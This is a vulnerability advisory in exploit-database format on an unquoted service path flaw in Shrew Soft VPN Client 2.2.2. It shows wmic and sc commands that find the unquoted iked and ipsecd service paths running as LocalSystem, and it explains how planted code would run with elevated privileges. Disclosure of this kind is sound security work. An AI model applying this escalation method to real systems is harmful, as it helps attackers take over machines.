Shrew Soft VPN Client version 2.2.2 suffers from an unquoted service path vulnerability.
d017eded7faaf2c126706e10256364f6# Exploit Title: Shrew Soft VPN Client 2.2.2 - 'iked' Unquoted Service Path
# Date: 2019-11-14
# Exploit Author: D.Goedecke
# Vendor Homepage: www.shrew.net
# Software Link: https://www.shrew.net/download/vpn/vpn-client-2.2.2-release.exe
# Version: 2.2.2
# Tested on: Windows 10 64bit
C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
ShrewSoft IKE Daemon iked C:\Program Files\ShrewSoft\VPN Client\iked.exe -service Auto
ShrewSoft IPSEC Daemon ipsecd C:\Program Files\ShrewSoft\VPN Client\ipsecd.exe -service Auto
C:\Users\user>sc qc iked
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: iked
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\ShrewSoft\VPN Client\iked.exe -service
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ShrewSoft IKE Daemon
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\Users\user>sc qc ipsecd
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: ipsecd
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files\ShrewSoft\VPN Client\ipsecd.exe -service
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : ShrewSoft IPSEC Daemon
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
#Exploit:
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A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other
security applications where it could potentially be executed during
application startup or reboot. If successful, the local user's code
would execute with the elevated privileges of the application.